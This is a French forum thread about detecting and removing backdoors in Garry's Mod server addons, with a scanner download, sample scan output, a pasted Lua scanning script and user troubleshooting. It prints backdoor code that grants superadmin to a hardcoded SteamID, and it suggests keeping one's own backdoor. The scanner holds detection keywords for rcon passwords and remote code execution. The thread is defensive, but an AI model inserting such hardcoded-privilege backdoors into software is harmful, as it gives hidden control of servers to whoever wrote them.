Tuto Comment détecter les backdoors sur son serveur et les enlever

  • Initiateur de la discussion
  • #1
Nestor

Nestor

Geek suprême
Messages
487
Score réaction
170
Points
150
Bonjour/Bonsoir,
Ce petit script va vous permettre de détecter les éventuels backdoors qu'il peut y avoir sur votre serveur.

1 - UTILISATION ET INSTALLATION
Liens de dl : https://mega.nz/#!tAAwQTDZ!XZErl9g_HoYCBpkrbDEVUn2NNQbaW9brD1r66wBBTTw
1) Pour commencer placer le dossier "nomalua" dans le dossier de vos addons(sur votre serveur garry's mod).


2)Redémarrer votre serveur pour que l'addons soit pris en compte.

3)Une fois sur votre serveur ouvrez la console et tapez la commande : nomalua_scan

4)Votre serveur risque de beuguer/crash pendant environs 15/20 secondes

5) Réouvrez la console, il doit y avoir avoir quelque chose comme ça :

Code:
1 - MISC (References global table) gamemodes/darkrp/gamemode/libraries/fn.lua:120 GetGlobalVar = function(key) return _G[key] end
4 - NETWORK (HTTP server call) lua/autorun/photon/cl_emv_airel.lua:17 http.Fetch( fetchUrl,
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:52 local fileRead = file.Read( "playerlist.txt" )
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:92 local fileCheck = file.Read("playerlist.txt")
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:142 file.Read( "playerlist.txt" )
4 - NETWORK (HTTP server call) gamemodes/darkrp/gamemode/modules/darkrpmessages/cl_darkrpmessage.lua:16 http.Fetch("https://raw.github.com/FPtje/DarkRPMotd/master/motd.txt", receiveMOTD, fn.Id)
2 - AUTHENT (Presence of Steam ID) lua/autorun/tdmcars_vols60_police.lua:2 © Guillaume (STEAM_0:0:71249946)
1 - MISC (References global table) lua/includes/util.lua:267 _G[ name ] = NUM_AI_CLASSES
2 - FILESYS (File deletion) lua/includes/util/javascript_util.lua:13 html:AddFunction( "gmod", "DeleteLocal", function( param ) file.Delete( param, "MOD" ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:14 html:AddFunction( "gmod", "FetchItems", function( namespace, cat, offset, perpage, ... ) _G[ namespace ]:Fetch( cat, tonumber( offset ), tonumber( perpage ), { ... } ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:16 html:AddFunction( "gmod", "Publish", function( namespace, file, background ) _G[ namespace ]:Publish( file, background ) end )
[size=85][font=Helvetica Neue, Helvetica, Arial, sans-serif]2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:52 Chromebolt A.K.A. Unib5 (STEAM_0:1:19045957)[/font][/size]
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:55 Falco A.K.A. FPtje Atheos (STEAM_0:0:8944068)
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)

2 - TROUVER LA BACKDOOR

1) Pour trouver une backdoor il faut regarder tous les steamid présent dans le scan :
Par exemple vous pouvez avoir ça :

Code:
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)
Ce n'ai pas une backdoor, c'est juste le nom de la personne qui a fait une partie du chat.
2) Une backdoor ressemble à ça :

Code:
2 - AUTHENT (Presence of Steam ID) addons/nestorro/lua/autorun/nestorro_launch.lua:101 if ( ply:SteamID() == "STEAM_0:1:64045285") then
Si vous avez le :
Code:
ply:SteamID() == "STEAM_0:100000000") then
C'est possiblment une backdoor, il faut toujours regarder ce qu'il y a après, par exemple ça peut juste être quelque chose pour que le créateur de l'addons affiche un message lorsqu'il rejoingne, mais si il y a quelque chose comme :
Code:
if ( ply:SteamID() == "STEAM_0:1:00000000") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
else
C'est une backdoor.

3 - COMMENT L'ENLEVER

1) Pour retirer une backdoor vous pouvez tout simplement mettre votre SteamID à la place du SteamID de la personne pour mettre une backdoor sur votre serveur en cas de problème, par contre faites attention de bien regarder ce qu'il y a derrière parce que ça peut se retourner contre vous, exemple :
Code:
RunConsoleCommand("ulx", "banid", ply:SteamID() )
Dans ce cas là, la backdoor va tout simplement bannir le SteamID présent.

2) Pour retirer toute la backdoor il suffit de retirer le code(qui ressemblera à ça)

Code:
concommand.Add( "Nestor", function(ply) if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
else ply:ChatPrint("N'oubliez pas d'aimer si ça vous a plut :), et venez sur Agorarp :p, " .. ply:Name() .. ".")
end
end)

Dites moi dans les commentaires si vous connaissiez déjà, n'oubliez pas de liker si ça vous a plut :p

EDIT 10/01/2018 - MERCI YOH'
CLIQUE ICI
 
Dernière édition:
Zozo147

Zozo147

Helpeur Divin
Messages
2 032
Score réaction
969
Points
430
Bon tuto personnellement je préfère décompiler l'addon et vérifier l'addon fichier par fichier mais pour ceux qui ont pas envie de se casser la tête bonne initiative :)
 
F

Forus Dof

Nouveau né
Messages
20
Score réaction
1
Points
25
Très bien éxpliquer merci a toi !
 
Reese Roite

Reese Roite

Psychopathe
Messages
1 073
Score réaction
109
Points
250
Nestor à dit:
Bonjour/Bonsoir,
ça doit être le 20ème tutoriel sur ce sujet :) mais tu as une qualité : tu expliques très bien ! Plus sérieusement, les backdoors ne sont pas le problème en priorité des serveurs en général, c'est juste parce que les fondateurs n'y connaissent, en principe, rien. Sachez qu'une backdoor ne peut pas être contenue dans un addon que vous avez payé sur Scriptfodder et donc pour éviter de vous en préoccuper, ne prenez pas de leaks ( téléchargé depuis un autre site un addon payant de SF)
 
SGCAtlantis

SGCAtlantis

Psychopathe
Messages
2 739
Score réaction
534
Points
300
Reese Roite à dit:
ça doit être le 20ème tutoriel sur ce sujet :) mais tu as une qualité : tu expliques très bien ! Plus sérieusement, les backdoors ne sont pas le problème en priorité des serveurs en général, c'est juste parce que les fondateurs n'y connaissent, en principe, rien. Sachez qu'une backdoor ne peut pas être contenue dans un addon que vous avez payé sur Scriptfodder et donc pour éviter de vous en préoccuper, ne prenez pas de leaks ( téléchargé depuis un autre site un addon payant de SF)
oui mais tu peu en avoir rien que sur un addon du workshop
 
Reese Roite

Reese Roite

Psychopathe
Messages
1 073
Score réaction
109
Points
250
SGCAtlantis à dit:
oui mais tu peu en avoir rien que sur un addon du workshop
La propabilité ? :) J'en ai jamais vu pour l'instant, la plupart sont finalement trouvés et signalés du coup supprimés du workshop
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
SGCAtlantis à dit:
oui mais tu peu en avoir rien que sur un addon du workshop
Reese Roite à dit:
La propabilité ? :) J'en ai jamais vu pour l'instant, la plupart sont finalement trouvés et signalés du coup supprimés du workshop
Exactement sur facepunch il sont plutôt en mode sniper sur ce sujet , bref bon tuto mais après la backdoor tu la choppe a 98% en leak (2% sont le workshop & addons d'un pseudo pote ) suffit de fouillé l'addons avant de le foutre sur le ftp ces pas vraiment compliqué
 
Zozo147

Zozo147

Helpeur Divin
Messages
2 032
Score réaction
969
Points
430
Yoh Sambre ♪ à dit:
Exactement sur facepunch il sont plutôt en mode sniper sur ce sujet , bref bon tuto mais après la backdoor tu la choppe a 98% en leak (2% sont le workshop & addons d'un pseudo pote ) suffit de fouillé l'addons avant de le foutre sur le ftp ces pas vraiment compliqué
Exactement :)
 
Reese Roite

Reese Roite

Psychopathe
Messages
1 073
Score réaction
109
Points
250
Marigo à dit:
ça reste pas super poussé comme backdoor finder,bypassable simplement ^^
On t'écoute alors ;) sors la science !
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Marigo à dit:
ça reste pas super poussé comme backdoor finder,bypassable simplement ^^

a piece of string that allows quick to dampen some minor risks ^^
 
A

airlor1

Bambi
Messages
53
Score réaction
2
Points
40
j'en ai 1 ç cause du leak de elite f4 menu je l'ai retirer merci beaucoup
 
ExriZE

ExriZE

Geek suprême
Messages
446
Score réaction
69
Points
100
Nestor à dit:
Bonjour/Bonsoir,
Ce petit script va vous permettre de détecter les éventuels backdoors qu'il peut y avoir sur votre serveur.

1 - UTILISATION ET INSTALLATION
Liens de dl : https://mega.nz/#!tAAwQTDZ!XZErl9g_HoYCBpkrbDEVUn2NNQbaW9brD1r66wBBTTw
1) Pour commencer placer le dossier "nomalua" dans le dossier de vos addons(sur votre serveur garry's mod).


2)Redémarrer votre serveur pour que l'addons soit pris en compte.

3)Une fois sur votre serveur ouvrez la console et tapez la commande : nomalua_scan

4)Votre serveur risque de beuguer/crash pendant environs 15/20 secondes

5) Réouvrez la console, il doit y avoir avoir quelque chose comme ça :

Code:
1 - MISC (References global table) gamemodes/darkrp/gamemode/libraries/fn.lua:120 GetGlobalVar = function(key) return _G[key] end
4 - NETWORK (HTTP server call) lua/autorun/photon/cl_emv_airel.lua:17 http.Fetch( fetchUrl,
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:52 local fileRead = file.Read( "playerlist.txt" )
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:92 local fileCheck = file.Read("playerlist.txt")
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:142 file.Read( "playerlist.txt" )
4 - NETWORK (HTTP server call) gamemodes/darkrp/gamemode/modules/darkrpmessages/cl_darkrpmessage.lua:16 http.Fetch("https://raw.github.com/FPtje/DarkRPMotd/master/motd.txt", receiveMOTD, fn.Id)
2 - AUTHENT (Presence of Steam ID) lua/autorun/tdmcars_vols60_police.lua:2 © Guillaume (STEAM_0:0:71249946)
1 - MISC (References global table) lua/includes/util.lua:267 _G[ name ] = NUM_AI_CLASSES
2 - FILESYS (File deletion) lua/includes/util/javascript_util.lua:13 html:AddFunction( "gmod", "DeleteLocal", function( param ) file.Delete( param, "MOD" ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:14 html:AddFunction( "gmod", "FetchItems", function( namespace, cat, offset, perpage, ... ) _G[ namespace ]:Fetch( cat, tonumber( offset ), tonumber( perpage ), { ... } ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:16 html:AddFunction( "gmod", "Publish", function( namespace, file, background ) _G[ namespace ]:Publish( file, background ) end )
[size=85][font=Helvetica Neue, Helvetica, Arial, sans-serif]2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:52 Chromebolt A.K.A. Unib5 (STEAM_0:1:19045957)[/font][/size]
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:55 Falco A.K.A. FPtje Atheos (STEAM_0:0:8944068)
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)

2 - TROUVER LA BACKDOOR

1) Pour trouver une backdoor il faut regarder tous les steamid présent dans le scan :
Par exemple vous pouvez avoir ça :

Code:
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)
Ce n'ai pas une backdoor, c'est juste le nom de la personne qui a fait une partie du chat.
2) Une backdoor ressemble à ça :

Code:
2 - AUTHENT (Presence of Steam ID) addons/nestorro/lua/autorun/nestorro_launch.lua:101 if ( ply:SteamID() == "STEAM_0:1:64045285") then
Si vous avez le :
Code:
ply:SteamID() == "STEAM_0:100000000") then
C'est possiblment une backdoor, il faut toujours regarder ce qu'il y a après, par exemple ça peut juste être quelque chose pour que le créateur de l'addons affiche un message lorsqu'il rejoingne, mais si il y a quelque chose comme :
Code:
if ( ply:SteamID() == "STEAM_0:1:00000000") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
else
C'est une backdoor.

3 - COMMENT L'ENLEVER

1) Pour retirer une backdoor vous pouvez tout simplement mettre votre SteamID à la place du SteamID de la personne pour mettre une backdoor sur votre serveur en cas de problème, par contre faites attention de bien regarder ce qu'il y a derrière parce que ça peut se retourner contre vous, exemple :
Code:
RunConsoleCommand("ulx", "banid", ply:SteamID() )
Dans ce cas là, la backdoor va tout simplement bannir le SteamID présent.

2) Pour retirer toute la backdoor il suffit de retirer le code(qui ressemblera à ça)

Code:
concommand.Add( "Nestor", function(ply) if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
else ply:ChatPrint("N'oubliez pas d'aimer si ça vous a plut :), et venez sur Agorarp :p, " .. ply:Name() .. ".")
end
end)

Dites moi dans les commentaires si vous connaissiez déjà, n'oubliez pas de liker si ça vous a plut :p
super tuto et super sympa pour les débutant ou non connaisseur, pour ma part je connais déjà des techniques parmi elle la tienne.
 
Azrod

Azrod

Geek suprême
Messages
382
Score réaction
29
Points
130
Reese Roite à dit:
La propabilité ? :) J'en ai jamais vu pour l'instant, la plupart sont finalement trouvés et signalés du coup supprimés du workshop
Le drugzmod avait une backdoor
 
Havanna

Havanna

Bambi
Messages
26
Score réaction
0
Points
30
Moi non plus, jamais vu de backdoor sur le WorkShop :rolleyes:
Et une backdoor bien faites est impossible à détecter avec des scripts automatisé :)
 
Valfunde

Valfunde

Helpeur Divin
Messages
4 301
Score réaction
1 389
Points
450
Havanna à dit:
Moi non plus, jamais vu de backdoor sur le WorkShop :rolleyes:
Et une backdoor bien faites est impossible à détecter avec des scripts automatisé :)
Oui évidemment
 
Azrod

Azrod

Geek suprême
Messages
382
Score réaction
29
Points
130
Havanna à dit:
Moi non plus, jamais vu de backdoor sur le WorkShop :rolleyes:
Et une backdoor bien faites est impossible à détecter avec des scripts automatisé :)
Sa technique n'a pas marché avec ton backdoor (sans vouloir t'attaquer), donc c'est pas totalement fiable. Puis pour pas éviter un maximum de backdoor, go sur sf
 
Havanna

Havanna

Bambi
Messages
26
Score réaction
0
Points
30
Ça technique dois détecter seulement les backdoor qui ont un SteamID à mon avis, mais en plus la mienne n'était pas censé être cachée ^^
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Au pire faire un .txt de la liste des code malicieux connu & a chaque vérification un bon C/C dans "Recherche" :rolleyes:
 
Azrod

Azrod

Geek suprême
Messages
382
Score réaction
29
Points
130
Havanna à dit:
Ça technique dois détecter seulement les backdoor qui ont un SteamID à mon avis, mais en plus la mienne n'était pas censé être cachée ^^
Ouais, comme tu l'as dis ça détecte juste les steam id
 
Havanna

Havanna

Bambi
Messages
26
Score réaction
0
Points
30
Même avec un Ctr+C ou tu ce que tu veux tu pourras pas trouver une backdoor bien faites, le seul recours est le scan manuel ^^
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Havanna à dit:
Même avec un Ctr+C ou tu ce que tu veux tu pourras pas trouver une backdoor bien faites, le seul recours est le scan manuel ^^
Après de toute façons :

No Leak ,
No partage via un ami ,

évite déjà au moins 98% des code malicieux..
 
Yigal67

Yigal67

Geek
Messages
126
Score réaction
3
Points
85
quand je met la command il n'ya pas de lag et ca m'afiche pas ce que ta toi
 
ZarosOVH

ZarosOVH

Modérateur
Messages
7 710
Score réaction
6 695
Points
1 295
Yigal67 à dit:
quand je met la command il n'ya pas de lag et ca m'afiche pas ce que ta toi
Recommence alors, en suivant bien toute les étapes tu sais pas te tromper ;)
 
Yigal67

Yigal67

Geek
Messages
126
Score réaction
3
Points
85
bah nn je suis qu'au debut avec la command j mi l'addon j'ai reboot et je rentre la commande regarde https://prntscr.com/dgnyn7 il ne me donne pas de ligne ni rien pas de lag
 
Flaaxo

Flaaxo

Psychopathe
Messages
1 872
Score réaction
866
Points
310
Désoler de UP ce sujet mais moi quand je tape le nomalua_scan mon serveur crash
 
T

Tarbex

Bambi
Messages
72
Score réaction
18
Points
40
Est-ce qu'un mec peut se connecter a notre serveur et foutre la merde avec une backdoor (SERVEUR CMD) ?
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Tarbex à dit:
Est-ce qu'un mec peut se connecter a notre serveur et foutre la merde avec une backdoor (SERVEUR CMD) ?
Ui
 
T

Tarbex

Bambi
Messages
72
Score réaction
18
Points
40
Quand j'effectue le scan j'ai un message d'erreur.
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Tarbex à dit:
Quand j'effectue le scan j'ai un message d'erreur.
postez avec la balise code votre 'erreur'

[CO DE]Votre erreur ici (enlever les espace dans les balises[/CO DE]
 
T

Tarbex

Bambi
Messages
72
Score réaction
18
Points
40
Code:
[ERROR] addons/nomalua/lua/sv_nomalua_utils.lua:18: attempt to get length of local 'result' (a nil value) 1. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:18 2. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 3. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 4. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 5. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 6. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 7. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 8. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 9. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 10. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 11. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 12. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 13. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 14. AddLuaFil
 
T

Tarbex

Bambi
Messages
72
Score réaction
18
Points
40
Le pire, ce qui me stress c'est que dans la console je vois aussi qu'un mec dont le steam ID est STEAM_0:1:92046224 se UNBAN toutes les 10secondes !
J'ai peur que mon serveur se fasse destroy, je dois vite savoir d'ou vient le backdoor.
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Pour les curieux pas d’inquiétude il s'agit d'une vielle backdoor , je lui est envoyé la solution en MP
 
Jean Dauphin

Jean Dauphin

Geek suprême
Messages
649
Score réaction
99
Points
150
Tarbex à dit:
Code:
[ERROR] addons/nomalua/lua/sv_nomalua_utils.lua:18: attempt to get length of local 'result' (a nil value) 1. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:18 2. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 3. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 4. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 5. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 6. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 7. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 8. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 9. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 10. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 11. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 12. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 13. AddLuaFiles - addons/nomalua/lua/sv_nomalua_utils.lua:35 14. AddLuaFil
une solution svp?
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Up ,

Voici une alternative a nomalua ;)

Installation > lua/autorun < faire un fichier lua (braxscan.lua par exemple)
Code:
-- Not optimized at all. Use at your own risk.
BraxScan = BraxScan or {}
BraxScan.Trigger = { -- external sources "http\\.", "HTTP", "HTML", "OpenURL", "sound.PlayURL", -- people don't use this for legit purposes "CompileString", "CompileFile", "RunString", "RunStringEx", "%(_G%)", "setmetatable", -- databases "sql", "MySQLite", "mysqloo", "tmysql", -- encryption "Base64Encode", "Base64Decode", "CRC", -- superiority complex ":Ban\\(", ":Kick\\(", -- players "player.GetByUniqueID", "SetUserGroup", "setroot", "setrank", -- workshop "steamworks.Subscribe", "steamworks.ViewFile", "steamworks.OpenWorkshop", "resource.AddWorkshop", -- screen "render.Capture", "render.CapturePixels", "render.ReadPixel", -- configs and cheats "hostip", "hostname", "server.cfg", "autoexec.cfg", "\\.dll", "\\.exe", "bind\\ ", "connect\\ ", "point_servercommand", "lua_run", "\"rcon", "\"rcon_password", "\"sv_password", "\"sv_cheats"
}
BraxScan.Version = 0.2
print("♫ BraxScan initialized on ".. (SERVER and "server" or "client") ..". Use 'braxscan' to scan.")
local LogBuffer = "\n"
function BraxScan.Print(color, text) if(type(color) == "table") then MsgC(color,text.."\n") BraxScan.LogAdd(text) else MsgN(color) BraxScan.LogAdd(color) end
end
function BraxScan.LogNew() LogBuffer = ""
end
function BraxScan.LogAdd(text) LogBuffer = LogBuffer .. text .. "\n"
end
function BraxScan.LogSave() file.Write("braxscan/scan_"..os.date("%y-%m-%d_%H-%M-%S")..".txt", LogBuffer)
end
file.CreateDir("braxscan")
function BraxScan.ScanAddon(addon) BraxScan.Print(Color(0,255,255), "♫ "..addon.title.." ♫") BraxScan.Print(Color(200,200,200), "File: "..addon.file) BraxScan.Print(Color(200,200,200), "ID: "..addon.wsid) MsgN("") local luafiles = 0 local found = 0 Files = {} local function Recurs(f,a) local files, folders = file.Find(f .. "*", a) for k,v in pairs(files) do local s = string.Split(v,".") if s[#s] == "dll" then BraxScan.Print(Color(255,0,0), "\n\n!!! Found DLL file in addon "..a.." !!!\n") end if s[#s] == "lua" then table.insert(Files,f..v) -- add file to list local luafile = file.Read(f..v, "GAME") if not luafile then print("cannot read lua file") continue end local lines = string.Split(luafile,"\n") if not lines then continue end if #lines == 1 then BraxScan.Print(Color(255,0,0), "+-- Only one line in "..f..v.." --") BraxScan.Print(Color(0,255,0), "| 1 | "..lines[1].."\n") found = found + 1 end for linenr, line in pairs(lines) do -- find trigger words for _, w in pairs(BraxScan.Trigger) do if string.find(line, w, 0, false) then BraxScan.Print(Color(255,0,0), "┌── Found '"..w.."' in "..f..v.." on line "..linenr.." ──") for i=math.Clamp(linenr-3,0,9999),math.Clamp(linenr+3,0,#lines) do if not lines[i] then continue end BraxScan.Print(i == linenr and Color(0,255,0) or Color(255,255,0), "│ "..i.." | "..lines[i]) end BraxScan.Print(Color(255,0,0), "└───●") BraxScan.Print("\n") found = found + 1 end end -- find steamids in plain text local steamid = string.match(line, "(STEAM_[0-9]:[0-9]:[0-9]+)") if steamid then BraxScan.Print(Color(255,0,0), "┌── Found SteamID "..steamid.." at line "..linenr.." in "..f..v.." ──") for i=math.Clamp(linenr-3,0,9999),math.Clamp(linenr+3,0,#lines) do BraxScan.Print(i == linenr and Color(0,255,0) or Color(255,255,0), "│ "..i.." | "..lines[i]) end BraxScan.Print(Color(255,0,0), "└───●") BraxScan.Print("\n") found = found + 1 end end luafiles = luafiles + 1 end end for k,v in pairs(folders) do Recurs(f..v.."/",a) end end Recurs("",addon.title) BraxScan.Print(Color(200,200,128), "⌐ Lua files: "..luafiles) BraxScan.Print(Color(200,200,128), "⌐ Suspicious things: "..found) BraxScan.Print("")
end
concommand.Add("braxscan", function(ply,com,arg) if IsValid(ply) and not ply:IsSuperAdmin() then ply:PrintMessage(HUD_PRINTCONSOLE, "Superadmin only") return end if not arg[1] then print("\n---------- BraxScan "..BraxScan.Version.." ----------\n") print("To search all addons: braxscan all 1") print("To search a specific addon: braxscan *ID* 1") print("Last argument is whether to save log or not.") print("\n----------------------------------") return end local savelog = arg[2] == "1" and true or false local addons = engine.GetAddons() print("\n---------- BraxScan "..BraxScan.Version.." ----------\n") print("Addons installed: "..#addons) print("\nStarting search...\n") if not BraxScan.Trigger then MsgC(Color(255,0,0), "No definitions file, odd.\n") return end if arg[1] == "all" then BraxScan.LogNew() for anum, addon in pairs(addons) do BraxScan.ScanAddon(addon) end if savelog then BraxScan.LogSave() end else BraxScan.LogNew() print("Specific search for ID "..arg[1].."...") local found = false for anum, addon in pairs(addons) do if addon.wsid == arg[1] then BraxScan.ScanAddon(addon) found = true break end end if savelog then BraxScan.LogSave() end if not found then MsgC(Color(255,0,0), "No addon with that ID installed.\n\n") end end MsgC(Color(0,255,0), "All done.") if savelog then MsgC(Color(0,255,0), "\nLog file saved to data directory.") end print("\n\n----------------------------------")
end)


Commands dans la console > braxscan all 1
 
Dernière édition:
Valfunde

Valfunde

Helpeur Divin
Messages
4 301
Score réaction
1 389
Points
450
Yoh Sambre ♪ à dit:
Up ,

Voici une alternative a nomalua ;)

Installation > lua/autorun < faire un fichier lua (braxscan.lua par exemple)
Code:
-- Not optimized at all. Use at your own risk.
BraxScan = BraxScan or {}
BraxScan.Trigger = { -- external sources "http\\.", "HTTP", "HTML", "OpenURL", "sound.PlayURL", -- people don't use this for legit purposes "CompileString", "CompileFile", "RunString", "RunStringEx", "%(_G%)", "setmetatable", -- databases "sql", "MySQLite", "mysqloo", "tmysql", -- encryption "Base64Encode", "Base64Decode", "CRC", -- superiority complex ":Ban\\(", ":Kick\\(", -- players "player.GetByUniqueID", "SetUserGroup", "setroot", "setrank", -- workshop "steamworks.Subscribe", "steamworks.ViewFile", "steamworks.OpenWorkshop", "resource.AddWorkshop", -- screen "render.Capture", "render.CapturePixels", "render.ReadPixel", -- configs and cheats "hostip", "hostname", "server.cfg", "autoexec.cfg", "\\.dll", "\\.exe", "bind\\ ", "connect\\ ", "point_servercommand", "lua_run", "\"rcon", "\"rcon_password", "\"sv_password", "\"sv_cheats"
}
BraxScan.Version = 0.2
print("♫ BraxScan initialized on ".. (SERVER and "server" or "client") ..". Use 'braxscan' to scan.")
local LogBuffer = "\n"
function BraxScan.Print(color, text) if(type(color) == "table") then MsgC(color,text.."\n") BraxScan.LogAdd(text) else MsgN(color) BraxScan.LogAdd(color) end
end
function BraxScan.LogNew() LogBuffer = ""
end
function BraxScan.LogAdd(text) LogBuffer = LogBuffer .. text .. "\n"
end
function BraxScan.LogSave() file.Write("braxscan/scan_"..os.date("%y-%m-%d_%H-%M-%S")..".txt", LogBuffer)
end
file.CreateDir("braxscan")
function BraxScan.ScanAddon(addon) BraxScan.Print(Color(0,255,255), "♫ "..addon.title.." ♫") BraxScan.Print(Color(200,200,200), "File: "..addon.file) BraxScan.Print(Color(200,200,200), "ID: "..addon.wsid) MsgN("") local luafiles = 0 local found = 0 Files = {} local function Recurs(f,a) local files, folders = file.Find(f .. "*", a) for k,v in pairs(files) do local s = string.Split(v,".") if s[#s] == "dll" then BraxScan.Print(Color(255,0,0), "\n\n!!! Found DLL file in addon "..a.." !!!\n") end if s[#s] == "lua" then table.insert(Files,f..v) -- add file to list local luafile = file.Read(f..v, "GAME") if not luafile then print("cannot read lua file") continue end local lines = string.Split(luafile,"\n") if not lines then continue end if #lines == 1 then BraxScan.Print(Color(255,0,0), "+-- Only one line in "..f..v.." --") BraxScan.Print(Color(0,255,0), "| 1 | "..lines[1].."\n") found = found + 1 end for linenr, line in pairs(lines) do -- find trigger words for _, w in pairs(BraxScan.Trigger) do if string.find(line, w, 0, false) then BraxScan.Print(Color(255,0,0), "┌── Found '"..w.."' in "..f..v.." on line "..linenr.." ──") for i=math.Clamp(linenr-3,0,9999),math.Clamp(linenr+3,0,#lines) do if not lines[i] then continue end BraxScan.Print(i == linenr and Color(0,255,0) or Color(255,255,0), "│ "..i.." | "..lines[i]) end BraxScan.Print(Color(255,0,0), "└───●") BraxScan.Print("\n") found = found + 1 end end -- find steamids in plain text local steamid = string.match(line, "(STEAM_[0-9]:[0-9]:[0-9]+)") if steamid then BraxScan.Print(Color(255,0,0), "┌── Found SteamID "..steamid.." at line "..linenr.." in "..f..v.." ──") for i=math.Clamp(linenr-3,0,9999),math.Clamp(linenr+3,0,#lines) do BraxScan.Print(i == linenr and Color(0,255,0) or Color(255,255,0), "│ "..i.." | "..lines[i]) end BraxScan.Print(Color(255,0,0), "└───●") BraxScan.Print("\n") found = found + 1 end end luafiles = luafiles + 1 end end for k,v in pairs(folders) do Recurs(f..v.."/",a) end end Recurs("",addon.title) BraxScan.Print(Color(200,200,128), "⌐ Lua files: "..luafiles) BraxScan.Print(Color(200,200,128), "⌐ Suspicious things: "..found) BraxScan.Print("")
end
concommand.Add("braxscan", function(ply,com,arg) if not arg[1] then print("\n---------- BraxScan "..BraxScan.Version.." ----------\n") print("To search all addons: braxscan all 1") print("To search a specific addon: braxscan *ID* 1") print("Last argument is whether to save log or not.") print("\n----------------------------------") return end local savelog = arg[2] == "1" and true or false local addons = engine.GetAddons() print("\n---------- BraxScan "..BraxScan.Version.." ----------\n") print("Addons installed: "..#addons) print("\nStarting search...\n") if not BraxScan.Trigger then MsgC(Color(255,0,0), "No definitions file, odd.\n") return end if arg[1] == "all" then BraxScan.LogNew() for anum, addon in pairs(addons) do BraxScan.ScanAddon(addon) end if savelog then BraxScan.LogSave() end else BraxScan.LogNew() print("Specific search for ID "..arg[1].."...") local found = false for anum, addon in pairs(addons) do if addon.wsid == arg[1] then BraxScan.ScanAddon(addon) found = true break end end if savelog then BraxScan.LogSave() end if not found then MsgC(Color(255,0,0), "No addon with that ID installed.\n\n") end end MsgC(Color(0,255,0), "All done.") if savelog then MsgC(Color(0,255,0), "\nLog file saved to data directory.") end print("\n\n----------------------------------")
